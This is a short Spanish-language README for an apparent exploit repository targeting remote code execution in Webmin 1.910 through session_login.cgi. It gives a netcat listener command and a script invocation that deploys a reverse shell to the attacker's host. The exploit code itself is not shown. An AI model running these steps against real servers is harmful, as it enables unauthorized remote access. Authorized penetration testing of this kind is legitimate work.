Webmin1.910_exploit

Webmin 1.910 Exploit de Ejecución Remota de Código

Descripción:

Este repositorio contiene un script de Python 3 diseñado para explotar una vulnerabilidad de ejecución remota de código en Webmin versión 1.910. El script utiliza el endpoint session_login.cgi para realizar la autenticación y desplegar un payload de reverse shell, otorgando acceso remoto al sistema objetivo. Este exploit está destinado a pruebas de penetración autorizadas y fines educativos.

1. Inicia un listener en tu máquina local:

nc -lvnp <lport>

2. Ejecuta el script usando el siguiente comando:

python3 webmin_exploit.py --rhost <target_ip> --lhost <your_ip> --lport <your_port> -u <username> -p <password>